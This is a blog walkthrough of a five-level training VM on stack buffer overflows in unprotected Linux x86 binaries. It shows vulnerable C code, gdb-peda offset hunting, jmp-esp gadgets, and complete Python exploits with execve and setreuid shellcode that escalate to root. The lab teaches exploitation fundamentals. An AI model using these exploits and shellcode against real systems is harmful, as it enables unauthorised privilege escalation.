CicadaSec

Intro to Stack Buffer Overflow

2021-04-18T00:00:00+01:00


 _____  ____  _____  _____  __ ___ _____  __ __  _____  _____  ____   _____  __  __ 
/  ___>/    \/  _  \/     \|  |  //  _  \/  |  \/   __\/   __\/  _/  /  _  \/   /  \
|___  |\-  -/|  _  ||  |--||  _ < |  |  |\  |  /|   __||   __||  |---|  |  ||  /\  |
<_____/ |__| \__|__/\_____/|__|__\\_____/ \___/ \_____/\__/   \_____/\_____/\__/\__/

Overview:

The IntroToStackOverflow virtual machine is an introduction to exploting stack based buffer overflow vulnerability in linux x86 binaries. The pre-compiled binaries you will find on the virtual machine are without any memory address modification prevention flags. This would mean the all memory addresses would be static and protections such as NX, ASLR, DEP, Canary, etc would not be present. After all, this is just to demonstrate the basics of exploiting stack based buffer overflows.

There are 5 levels with starting level at 0 which is meant to show you how the EIP register is overwritten. The EIP is the registry which is what will be controlled to point to the memory address which the program will execute. Therefore, execution of malicious shellcode being possible.

For example, getting a reverse shell or spawning a bash shell with elevated privileges.

I should say that the explanations I will provide, assume you are familiar at least to some extend with memory allocation, stack and binary exploitation.

Level 0 -> Level 1:

Level 0 is created to create an easy way to understand how the EIP register gets overwritten. When the binary is executed it will assign a variable of 32 characters array which will act as the buffer. There is a statement which checks if the user input is 4 “B”s and if so then it will execute /bin/sh.

level0@kali:~$ cat levelOne.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {

    uid_t uid = geteuid();

    setresuid(uid, uid, uid);

    long key = 0x12345678;
    char buf[32];

    strcpy(buf, argv[1]);

    printf("Buf is: %s\n", buf);
    printf("Key is: 0x%08x\n", key);

    if(key == 0x42424242) {
        execve("/bin/sh", 0, 0);
    }
    else {
        printf("%s\n", "Sorry try again...");
    }

    return 0;
}

A strcpy() function is used to obtain the user input and store it in the buf array. However, since the strcpy() function is actually problematic, it will continue to copy information infinitely to the stack therefore overflowing it.

The output of the program would also display what is the value of the EIP register. This is rather a bonus of an easier representation of how the EIP register would look in a debugger.

Provide the program with 32 “A” ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA The following output should be displayed:

level0@kali:~$ ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Key is: 0x12345600
Sorry try again...

The “key” value is 0x12345600 and is not what the program expects which should be 0x42424242. Let’s provide 4 more “A”.

level0@kali:~$ ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Key is: 0x41414141
Sorry try again...

Now the key shows a result of AAAA which the EIP is pointing at. If the 4 “A”s are replaced with “B”s, the key variable would be equal to if statement in the code and a shell would be dropped as level1 user.

level0@kali:~$ ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Key is: 0x42424242
$ id
uid=1001(level1) gid=1000(level0) groups=1000(level0)
$ cat /home/level1/level1.txt
d13e3e4d[REDACTED]

Level 1 -> Level 2:

A quite use python script gdb-peda will be used throughtout this walkthrough and it intergrates with gdb. Finding possible jmp addresses in the binaries would be simpler using gdb-peda.

Follow the instructions in the github page to set up the tool.

Load the compiled binary in gdb $gdb levelTwo. Now let’s show all functions that the program has.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  setresuid@plt
0x00001040  printf@plt
0x00001050  geteuid@plt
0x00001060  strcpy@plt
0x00001070  __libc_start_main@plt
0x00001080  execve@plt
0x00001090  setuid@plt
0x000010a0  __cxa_finalize@plt
0x000010b0  _start
0x000010f0  __x86.get_pc_thunk.bx
0x00001100  deregister_tm_clones
0x00001140  register_tm_clones
0x00001190  __do_global_dtors_aux
0x000011e0  frame_dummy
0x000011e5  __x86.get_pc_thunk.dx
0x000011e9  spawn
0x00001224  hello
0x00001264  main
0x000012d0  __libc_csu_init
0x00001330  __libc_csu_fini
0x00001334  _fini

Addresses of interest are:

0x000011e9 spawn
0x00001224 hello
0x00001264 main

Checking the spawn would point to couple of interesting calls. There is a call to setuid() which would set the UID of the user who owns the binary. The second interesting one is execve() which from the binary at level 0 will simply spawn /bin/sh.

gdb-peda$ pd spawn
Dump of assembler code for function spawn:
   0x000011e9 <+0>:	push   ebp
   0x000011ea <+1>:	mov    ebp,esp
   0x000011ec <+3>:	push   ebx
   0x000011ed <+4>:	sub    esp,0x4
   0x000011f0 <+7>:	call   0x10f0 <__x86.get_pc_thunk.bx>
   0x000011f5 <+12>:	add    ebx,0x2e0b
   0x000011fb <+18>:	sub    esp,0xc
   0x000011fe <+21>:	push   0x0
->   0x00001200 <+23>:	call   0x1090 <setuid@plt>
   0x00001205 <+28>:	add    esp,0x10
   0x00001208 <+31>:	sub    esp,0x4
   0x0000120b <+34>:	push   0x0
   0x0000120d <+36>:	push   0x0
   0x0000120f <+38>:	lea    eax,[ebx-0x1ff8]
   0x00001215 <+44>:	push   eax
->   0x00001216 <+45>:	call   0x1080 <execve@plt>
   0x0000121b <+50>:	add    esp,0x10
   0x0000121e <+53>:	nop
   0x0000121f <+54>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x00001222 <+57>:	leave
   0x00001223 <+58>:	ret
End of assembler dump.

Remember that after execution of the program the addresses will change due to the libraries and such being loaded.

Create a cyclic pattern using gdb-peda and provide the output as the argument to the program.

gdb-peda$ pattern_create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'

[----------------------------------registers-----------------------------------]
EAX: 0x47 ('G')
EBX: 0x413b4141 ('AA;A')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd580 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x41412941 ('A)AA')
ESP: 0xffffd530 ("AA0AAFAAbAA1AAGAAcAA2AAH")
-> EIP: 0x61414145 ('EAAa')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61414145
[------------------------------------stack-------------------------------------]
0000| 0xffffd530 ("AA0AAFAAbAA1AAGAAcAA2AAH")
0004| 0xffffd534 ("AFAAbAA1AAGAAcAA2AAH")
0008| 0xffffd538 ("bAA1AAGAAcAA2AAH")
0012| 0xffffd53c ("AAGAAcAA2AAH")
0016| 0xffffd540 ("AcAA2AAH")
0020| 0xffffd544 ("2AAH")
0024| 0xffffd548 --> 0xffffd600 ("0cUV@D\376\367\f\326\377\377P\331\377\367\002")
0028| 0xffffd54c --> 0x3e9
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
-> 0x61414145 in ?? ()

Gdb-peda will then output in a friendly way the allocation of the stack and all memory addresses in the registers. The EIP register is shown that is pointing to address 0x61414145. Since gdb-peda is able to grab the value in ASCII format in the EIP, it is easy to spot that the 4 bytes are likely from the cyclic pattern.

Cyclic patterns are used to generate unique non-repeating values which could be easily identified when trying to find the offset.

gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36

The offset is at 36 bytes, so assuming 4 more would overwrite the EIP register and make it user controllable.

gdb-peda$ r $(python2 -c 'print "A" * 36 + "B" * 4')
[----------------------------------registers-----------------------------------]
EAX: 0x2f ('/')
EBX: 0x41414141 ('AAAA')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd5a0 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd550 --> 0xffffd700 --> 0x3e9
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd700 --> 0x3e9
0004| 0xffffd554 --> 0x3e9
0008| 0xffffd558 --> 0x3e9
0012| 0xffffd55c --> 0x56556289 (<main+37>:	mov    DWORD PTR [ebp-0x1c],eax)
0016| 0xffffd560 --> 0xf7fa83fc --> 0xf7fa9200 --> 0x0
0020| 0xffffd564 --> 0x56559000 --> 0x3efc
0024| 0xffffd568 --> 0xffffd640 --> 0xffffd7af ("SHELL=/bin/bash")
0028| 0xffffd56c --> 0x3e9
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Providing 4 more bytes of B character, shows that EIP is controllable at 40 bytes.

Run the program once inside gdb-peda and crash it, then obtain the address of the spawn function. The address should be as follows after the first run of the program.

gdb-peda$ pd spawn
Dump of assembler code for function spawn:
   0x565561e9 <+0>:	push   ebp
   0x565561ea <+1>:	mov    ebp,esp
   0x565561ec <+3>:	push   ebx
   0x565561ed <+4>:	sub    esp,0x4
   0x565561f0 <+7>:	call   0x565560f0 <__x86.get_pc_thunk.bx>
   0x565561f5 <+12>:	add    ebx,0x2e0b
   0x565561fb <+18>:	sub    esp,0xc
   0x565561fe <+21>:	push   0x0
   0x56556200 <+23>:	call   0x56556090 <setuid@plt>
   0x56556205 <+28>:	add    esp,0x10
   0x56556208 <+31>:	sub    esp,0x4
   0x5655620b <+34>:	push   0x0
   0x5655620d <+36>:	push   0x0
   0x5655620f <+38>:	lea    eax,[ebx-0x1ff8]
   0x56556215 <+44>:	push   eax
   0x56556216 <+45>:	call   0x56556080 <execve@plt>
   0x5655621b <+50>:	add    esp,0x10
   0x5655621e <+53>:	nop
   0x5655621f <+54>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x56556222 <+57>:	leave
   0x56556223 <+58>:	ret
End of assembler dump.

Take the ebp address 0x565561e9 which is the address at which the function gets called. With the information so far, a working python script can be written to exploit the binary and use the spawn as our injection point.

One important step to note is that the memory of the spawn function needs to be converted to little endian format so that the CPU can understand it.

A complete python exploit would be as follows:

#!/usr/bin/env python2
import struct

junk = "A" * 36
eip = struct.pack("<I", 0x565561e9) # Pack the spawn() mem addr in little endian

payload = junk + eip
print payload

The exploit can then be provided as user input to the program and exploit it.

level1@kali:~$ ./levelTwo $(python2 exploit.py)
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV
$ id
uid=1002(level2) gid=1001(level1) groups=1001(level1)
$ cat /home/level2/level2.txt
d658dfc[REDACTED]

Level 2 -> Level 3:

The complexity of the binary is increased at level 2 slightly. Let’s debug the program.

Load the levelThree binary in gdb-peda and list all the functions as was done in the previous challenges.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  setresuid@plt
0x00001040  printf@plt
0x00001050  geteuid@plt
0x00001060  strcpy@plt
0x00001070  __libc_start_main@plt
0x00001080  __cxa_finalize@plt
0x00001090  _start
0x000010d0  __x86.get_pc_thunk.bx
0x000010e0  deregister_tm_clones
0x00001120  register_tm_clones
0x00001170  __do_global_dtors_aux
0x000011c0  frame_dummy
0x000011c5  __x86.get_pc_thunk.dx
0x000011c9  overflow
0x00001212  main
0x00001280  __libc_csu_init
0x000012e0  __libc_csu_fini
0x000012e4  _fini

There is a function called overflow at address 0x000011c9. Examine the assembly code of it.

gdb-peda$ pd overflow
Dump of assembler code for function overflow:
   0x000011c9 <+0>:	push   ebp
   0x000011ca <+1>:	mov    ebp,esp
   0x000011cc <+3>:	push   ebx
   0x000011cd <+4>:	sub    esp,0x104
   0x000011d3 <+10>:	call   0x10d0 <__x86.get_pc_thunk.bx>
   0x000011d8 <+15>:	add    ebx,0x2e28
   0x000011de <+21>:	sub    esp,0x8
   0x000011e1 <+24>:	push   DWORD PTR [ebp+0x8]
   0x000011e4 <+27>:	lea    eax,[ebp-0x108]
   0x000011ea <+33>:	push   eax
->   0x000011eb <+34>:	call   0x1060 <strcpy@plt>
   0x000011f0 <+39>:	add    esp,0x10
   0x000011f3 <+42>:	sub    esp,0x8
   0x000011f6 <+45>:	lea    eax,[ebp-0x108]
   0x000011fc <+51>:	push   eax
   0x000011fd <+52>:	lea    eax,[ebx-0x1ff8]
   0x00001203 <+58>:	push   eax
   0x00001204 <+59>:	call   0x1040 <printf@plt>
   0x00001209 <+64>:	add    esp,0x10
   0x0000120c <+67>:	nop
   0x0000120d <+68>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x00001210 <+71>:	leave
   0x00001211 <+72>:	ret
End of assembler dump.

Here strcpy() function is used to get information from the user as input and gets printed as output. The strcpy() is shown at address 0x000011eb.

gdb-peda$ pd main
Dump of assembler code for function main:
   0x00001212 <+0>:	lea    ecx,[esp+0x4]
   0x00001216 <+4>:	and    esp,0xfffffff0
   0x00001219 <+7>:	push   DWORD PTR [ecx-0x4]
   0x0000121c <+10>:	push   ebp
   0x0000121d <+11>:	mov    ebp,esp
   0x0000121f <+13>:	push   esi
   0x00001220 <+14>:	push   ebx
   0x00001221 <+15>:	push   ecx
   0x00001222 <+16>:	sub    esp,0x1c
   0x00001225 <+19>:	call   0x10d0 <__x86.get_pc_thunk.bx>
   0x0000122a <+24>:	add    ebx,0x2dd6
   0x00001230 <+30>:	mov    esi,ecx
   0x00001232 <+32>:	call   0x1050 <geteuid@plt>
   0x00001237 <+37>:	mov    DWORD PTR [ebp-0x1c],eax
   0x0000123a <+40>:	sub    esp,0x4
   0x0000123d <+43>:	push   DWORD PTR [ebp-0x1c]
   0x00001240 <+46>:	push   DWORD PTR [ebp-0x1c]
   0x00001243 <+49>:	push   DWORD PTR [ebp-0x1c]
   0x00001246 <+52>:	call   0x1030 <setresuid@plt>
   0x0000124b <+57>:	add    esp,0x10
   0x0000124e <+60>:	mov    eax,DWORD PTR [esi+0x4]
   0x00001251 <+63>:	add    eax,0x4
   0x00001254 <+66>:	mov    eax,DWORD PTR [eax]
   0x00001256 <+68>:	sub    esp,0xc
   0x00001259 <+71>:	push   eax
   0x0000125a <+72>:	call   0x11c9 <overflow>
   0x0000125f <+77>:	add    esp,0x10
   0x00001262 <+80>:	mov    eax,0x0
   0x00001267 <+85>:	lea    esp,[ebp-0xc]
   0x0000126a <+88>:	pop    ecx
   0x0000126b <+89>:	pop    ebx
   0x0000126c <+90>:	pop    esi
   0x0000126d <+91>:	pop    ebp
   0x0000126e <+92>:	lea    esp,[ecx-0x4]
   0x00001271 <+95>:	ret

The function overflow() is called but before that a call to set the UID to the user who owns the binary is made, that is level3.

So what needs to be done is, overflow the EIP register, find the offset of the buffer… and then…

The slight complexity of the binary is found here. comparing the previous challenges with level3 shows that at level3 there is no function to spawn a shell. This would require a shellcode be provided supplied by the user.

Let’s create a pattern of 300 characters long and send to the binary to overflow the EIP register and find out the offset.

gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA---SNIP---'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA---SNIP---'

[----------------------------------registers-----------------------------------]
EAX: 0x132
EBX: 0x25413225 ('%2A%')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd490 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x64254148 ('HA%d')
ESP: 0xffffd440 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xffffd440 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffffd444 ("eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffffd448 ("A%JA%fA%5A%KA%gA%6A%")
0012| 0xffffd44c ("%fA%5A%KA%gA%6A%")
0016| 0xffffd450 ("5A%KA%gA%6A%")
0020| 0xffffd454 ("A%gA%6A%")
0024| 0xffffd458 ("%6A%")
0028| 0xffffd45c --> 0x300
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()

The EIP register was successfully overwritten and now the offset.

gdb-peda$ pattern_offset 0x41332541
1093870913 found at offset: 268

Following the above statement which mentions the binary does not have a function which creates a shell instance, this means that in such cases a jmp call must be found. In particular one that makes the program jump back to the stack pointer - ESP. Such calls are called jmp esp. Some calls might be at ebp or ecx or eax, this really depends on where the user provided data is stored.

Using gdb-peda, finding a call such as jmp esp is easilly found with the following command: jmpcall.

Since the offset is identified, a jmp esp call can be looked up.

gdb-peda$ jmpcall esp
0x56557043 : jmp esp
0x56558043 : jmp esp

Development of an exploit can now begin.

#!/usr/bin/env python2
import struct

ffset = "A" * 268 # offset = 268 (junk)
eip = 0x56558043 # jmpcall : 0x56558043 jmp esp;
ret = struct.pack("<I", eip)

Since the program doesn’t have its own execve() method to launch /bin/sh for example, we need to provide our own.

A shellcode to spawn /bin/sh can be found online. One place is exploit-db.com. In exploit development there is one hex code known as a NOPSLED also known as no operation instruction.

It simply tells a program to not do anything and proceed further in memory until it finds a valid address to execute. This is typically used to allign the stack so that after a jmp esp call a program can simply go straight to the shellcode.

With the information so far, a final exploit can be developed which should look something like the following:

#!/usr/bin/env python2
import struct

offset = "A" * 268 # offset = 268 (junk)
eip = 0x56558043 # jmpcall : 0x56558043 jmp esp;
ret = struct.pack("<I", eip) # pack the jmpcall in little endian

# slide to shellcode
nops = "\x90" * 10
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
) # execve("/bin/sh")

print offset + ret + nops + shellcode

Provide the final exploit as the user input data to the levelThree binary and get access as level3 user.

level2@kali:~$ ./levelThree $(./exploit.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC�UV����������1�Ph//shh/bin��PS��
                                                       
$ id; cat /home/level3/level3.txt
uid=1003(level3) gid=1002(level2) groups=1002(level2)
2c41d9ef668[REDACTED]

Level 3 -> Level 4:

Obtaining access as level4 user is almost the same as getting access to level3, where the only difference here would the offset.

Therefore, I will not be provided much details regarding the steps of identifing offset and related.

It is good practice to attempt and replicate the steps using the information from the previous challenges.

Idenfing the offset at level4.

gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa---SNIP---'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA---SNIP---'

[----------------------------------registers-----------------------------------]
EAX: 0x6a ('j')
EBX: 0x41412d41 ('A-AA')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd6d0 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x44414128 ('(AAD')
ESP: 0xffffd680 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd680 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd684 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd688 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd68c ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd690 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd694 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd698 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd69c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()

Using the previously gained information, the offset is adjusted.

gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28

The final exploit should look like the following:

#!/usr/bin/env python2
import struct

offset = "A" * 28 # offset = 268 (junk)
eip = 0x56558043 # jmpcall : 0x56558043 jmp esp;
ret = struct.pack("<I", eip) # pack the jmpcall in little endian

# slide to shellcode
nops = "\x90" * 10
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
) # execve("/bin/sh")

print offset + ret + nops + shellcode

level3@kali:~$ ./levelFour $(./exploit.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAC�UV����������1�Ph//shh/bin��PS��
                                                                   
$ id; cat /home/level4/level4.txt
uid=1004(level4) gid=1003(level3) groups=1003(level3)
e879069[REDACTED]

Level 4 -> Level 5 (root):

This is the hardest level and reason being is because the program does not have a setreuid() function used to obtain and set the UID to the owner of the binary. This could be observed in the previous challenges. Essentially, a setreuid() combined with a execve() functions have to be somehow added as shellcode to make the binary drop a shell as root.

Upon looking at the functions which the binary has, two would be the most interesting - overflow and main.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  printf@plt
0x00001040  gets@plt
0x00001050  __libc_start_main@plt
0x00001060  __cxa_finalize@plt
0x00001070  _start
0x000010b0  __x86.get_pc_thunk.bx
0x000010c0  deregister_tm_clones
0x00001100  register_tm_clones
0x00001150  __do_global_dtors_aux
0x000011a0  frame_dummy
0x000011a5  __x86.get_pc_thunk.dx
0x000011a9  overflow
0x000011ff  main
0x0000121b  __x86.get_pc_thunk.ax
0x00001220  __libc_csu_init
0x00001280  __libc_csu_fini
0x00001284  _fini

A gets() function is used in the overflow function which similar to strcpy() is vulnerable to the same overflow problem and will also continuesly copy data to the stack until the program crashes.

gdb-peda$ pd overflow
Dump of assembler code for function overflow:
   0x000011a9 <+0>:	push   ebp
   0x000011aa <+1>:	mov    ebp,esp
   0x000011ac <+3>:	push   ebx
   0x000011ad <+4>:	sub    esp,0x14
   0x000011b0 <+7>:	call   0x10b0 <__x86.get_pc_thunk.bx>
   0x000011b5 <+12>:	add    ebx,0x2e4b
   0x000011bb <+18>:	sub    esp,0x8
   0x000011be <+21>:	lea    eax,[ebx-0x1ff8]
   0x000011c4 <+27>:	push   eax
   0x000011c5 <+28>:	lea    eax,[ebx-0x1fe5]
   0x000011cb <+34>:	push   eax
   0x000011cc <+35>:	call   0x1030 <printf@plt>
   0x000011d1 <+40>:	add    esp,0x10
   0x000011d4 <+43>:	sub    esp,0xc
   0x000011d7 <+46>:	lea    eax,[ebp-0xc]
   0x000011da <+49>:	push   eax
 -> 0x000011db <+50>:	call   0x1040 <gets@plt>
   0x000011e0 <+55>:	add    esp,0x10
   0x000011e3 <+58>:	sub    esp,0x8
   0x000011e6 <+61>:	lea    eax,[ebp-0xc]
   0x000011e9 <+64>:	push   eax
   0x000011ea <+65>:	lea    eax,[ebx-0x1fe2]
   0x000011f0 <+71>:	push   eax
   0x000011f1 <+72>:	call   0x1030 <printf@plt>
   0x000011f6 <+77>:	add    esp,0x10
   0x000011f9 <+80>:	nop
   0x000011fa <+81>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x000011fd <+84>:	leave
   0x000011fe <+85>:	ret
End of assembler dump.

The call to gets() is found at 0x000011db.

The main function’s functionality is as follows:

gdb-peda$ pd main
Dump of assembler code for function main:
   0x000011ff <+0>:	push   ebp
   0x00001200 <+1>:	mov    ebp,esp
   0x00001202 <+3>:	and    esp,0xfffffff0
   0x00001205 <+6>:	call   0x121b <__x86.get_pc_thunk.ax>
   0x0000120a <+11>:	add    eax,0x2df6
   0x0000120f <+16>:	call   0x11a9 <overflow>
   0x00001214 <+21>:	mov    eax,0x0
   0x00001219 <+26>:	leave
   0x0000121a <+27>:	ret
End of assembler dump.

It is simple function which executes the overflow function.

One thing to note here is, as mentioned above, that there is neither an execve() nor a setreuid() functions are provided. Therefore, a shellcode which uses both would be ideal so that a shell is spawned as root.

Such shellcode can be obtained from shell-storm.org or another place of your choice.

To start developing the exploit, let’s first crash the program and find the offset.

gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)A---SNIP---'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAE---SNIP---'
Starting program: /home/level4/levelFive 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'
Enter your input:
Buf:
[Inferior 1 (process 2200) exited normally]
Warning: not running

A small bump in the road with binary is that the program will wait for the user’s input upon launching it. This issue can be bypassed using a python library known as pwntools.

Let’s re-run the program and provide the 300 bytes long string as the user input when requested.

Starting program: /home/level4/levelFive 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'
Enter your input: 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'
Buf: 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'

[----------------------------------registers-----------------------------------]
EAX: 0x134
EBX: 0x41424141 ('AABA')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xf7fa8000 --> 0x1d9d6c
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x41412441 ('A$AA')
ESP: 0xffffd5f0 ("AA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAd---SNIP---"...)
EIP: 0x4341416e ('nAAC')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4341416e
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("AA-AA(AADAA;AA)---SNIP---"..)
0004| 0xffffd5f4 ("A(AADAA;AA)---SNIP---"...)
0008| 0xffffd5f8 ("DAA;AA)---SNIP---"...)
0012| 0xffffd5fc ("AA)---SNIP---"...)
0016| 0xffffd600 ("AEAAaAA0---SNIP---"...)
0020| 0xffffd604 ("aAA0AAFAAbAA1A---SNIP---"...)
0024| 0xffffd608 ("AAFAAbAA1AAGAA---SNIP---"...)
0028| 0xffffd60c ("AbAA1AAGAAcAA2A---SNIP---"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x4341416e in ?? ()

The program crashed which is good and EIP register is poiting to somewhere in the long string. One byte is actually missing so the offset would be 16. If in the final exploit there is 15 characters as the junk the exploit would break when a shell command is executed.

gdb-peda$ pattern_offset 0x4341416e
1128350062 found at offset: 15

As the offset is now found, a jmp call be identified.

gdb-peda$ jmpcall
0x56556019 : call eax
0x565560ec : call eax
0x5655613d : call edx
0x56557067 : jmp [eax]
0x56557ff8 : call [ecx]
0x56558067 : jmp [eax]

Interestingly finding a jmp esp call was not available in the program itself, however, a jmp esp call be found in the libc library. This can be identified as follows:

gdb-peda$ jmpcall esp libc
0xf7dd0bb1 : jmp esp
0xf7dd4ff7 : jmp esp
0xf7dd7037 : jmp esp
0xf7f3f1b0 : call esp
0xf7f48b87 : call esp
0xf7f48bc3 : call esp
0xf7f48c07 : call esp
0xf7f547db : jmp esp
0xf7f55937 : jmp esp
0xf7f55b77 : call esp
0xf7f55b83 : call esp
0xf7f55c7b : call esp
0xf7f55d3f : call esp
0xf7f55e37 : call esp
0xf7f560f7 : call esp
0xf7f56103 : call esp
0xf7f5627f : jmp esp
0xf7f562f3 : call esp
0xf7f56323 : jmp esp
0xf7f563eb : jmp esp
0xf7f5661b : jmp esp
0xf7f566e3 : jmp esp
0xf7f567e3 : call esp
0xf7f56993 : jmp esp
0xf7f56b13 : jmp esp
--More--(25/141)

First address can be used or any other that has a jmp esp call. This can be checked by sending the address to the EIP register and checking if a jmp esp call is done.

Here usage of the pwntools library is done due how simple it is send the payload to the binary.

A final exploit should look something like this which would use struct python library to pack the jmp esp address to little endian.

#!/usr/bin/env python2

# offset = 16
# eip = 20
# libc jmpesp = jmpcall esp libc : 0xf7dd0bb1 - jmp esp;

from pwn import *
import struct

junk = "A" * 16
libc_jmpesp = 0xf7dd0bb1
libc_jmpesp = struct.pack("<I",libc_jmpesp)
nops = "\x90" * 10
shellcode = (
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46"
"\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
) # setreuid(geteuid(),geteuid()),execve("/bin/sh",0,0) 34byte universal shellcode

payload = junk + libc_jmpesp + nops + shellcode

